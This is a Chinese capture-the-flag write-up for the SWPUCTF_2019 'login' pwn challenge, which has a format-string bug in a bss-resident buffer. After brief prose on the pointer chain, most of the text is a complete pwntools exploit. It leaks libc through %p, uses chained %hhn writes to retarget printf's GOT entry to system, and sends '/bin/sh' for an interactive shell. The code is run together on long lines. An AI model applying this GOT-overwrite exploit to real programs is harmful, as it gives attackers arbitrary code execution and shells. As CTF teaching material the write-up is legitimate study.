SWPUCTF_2019_login(格式字符串偏移bss段）

题目的例行检查我就不放了，将程序放入ida中

很明显的值放入了bss段的格式字符串，所以我们动态调试一下程序

可以看到ebp这个地方0xffd0dd17-->0xffd0dd38-->0xffd0dd48这个指针链接，而ebp这个的值是%6$p的偏移，所以我们可以通过修改%6这里的指针处往0xffd0dd48这里覆盖位printf_got表的位置

相关代码

因为这里我们是一步完成的，所以我们需要再减去0x10的长度

可以看到我们成功的将这里的指针覆盖为了system的地址

完整exp如下

from pwn import *import timep = process('./pwn1')#p = remote('node4.buuoj.cn',26202)libc = ELF('./libc-2.27-i386.so')p.sendlineafter('name:','aa')p.sendlineafter('password:','%15$p')p.recvuntil('0x')#10 14__libc_start_main = int(p.recvuntil('\n',drop=True),16)-0xf1libc_base = __libc_start_main - libc.symbols['__libc_start_main']print('libc_base-->'+hex(libc_base))system = libc_base + libc.sym['system']print('system-->'+hex(system))p.sendlineafter('Try again!','%6$p')p.recvuntil('0x')strack_addr0 = int(p.recvuntil('\n',drop=True),16)print('strack_addr0-->'+hex(strack_addr0))#0xffda2994p.sendlineafter('Try again!','%10$p')p.recvuntil('0x')strack_addr1 = int(p.recvuntil('\n',drop=True),16)print('strack_addr1-->'+hex(strack_addr1))#0xffd2a9a4#print_got 0x0804b014cmd = 'b *0x08048575\n'
#strack_addr1的值就是ebp第二的指针

#---------------将%14的偏移的地址处修改为print_got的地址----------payload = '%'+str(0x14)+'c'+'%10$hhn'p.sendlineafter('Try again!\n',payload) #14payload1 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'p.sendlineafter('Try again!\n',payload1)payload2 = '%'+str(0xb0)+'c'+'%10$hhn'p.sendlineafter('Try again!\n',payload2) #b0payload3 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'p.sendlineafter('Try again!\n',payload3)payload4 = '%'+str(0x04)+'c'+'%10$hhn'p.sendlineafter('Try again!\n',payload4) #04payload5 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'p.sendlineafter('Try again!\n',payload5)payload6 = '%'+str(0x08)+'c'+'%10$hhn'p.sendlineafter('Try again!\n',payload6) #08#-------------------将%15的偏移处的地址覆盖为printf_got+1的地址-------------------------------strack_addr1 = strack_addr1 + 4payload1 = '%'+str(strack_addr1 & 0xff)+'c'+'%6$hhn'p.sendlineafter('Try again!\n',payload1)payload2 = '%'+str(0x15)+'c'+'%10$hhn'  p.sendlineafter('Try again!\n',payload2) #15payload3 = '%'+str((strack_addr1 & 0xff)+1)+'c'+'%6$hhn'p.sendlineafter('Try again!\n',payload3)payload4 = '%'+str(0xb0)+'c'+'%10$hhn'p.sendlineafter('Try again!\n',payload4) #b0payload5 = '%'+str((strack_addr1 & 0xff)+2)+'c'+'%6$hhn'p.sendlineafter('Try again!\n',payload5)payload6 = '%'+str(0x04)+'c'+'%10$hhn'p.sendlineafter('Try again!\n',payload6) #04payload7 = '%'+str((strack_addr1 & 0xff)+3)+'c'+'%6$hhn'p.sendlineafter('Try again!\n',payload7)payload8 = '%'+str(0x08)+'c'+'%10$hhn'p.sendlineafter('Try again!\n',payload8) #08#------------------修改为system的地址----------------------------payload = '%'+str(system & 0xff)+'c'+'%14$hhn'payload += '%'+str(((system & 0xffff00)>>8)-0x10)+'c'+'%15$hn'print(hex(((system & 0xffff00)>>8)-0x10))p.sendlineafter('Try again!\n',payload)time.sleep(0.5)p.sendline('/bin/sh')gdb.attach(p,cmd)p.interactive()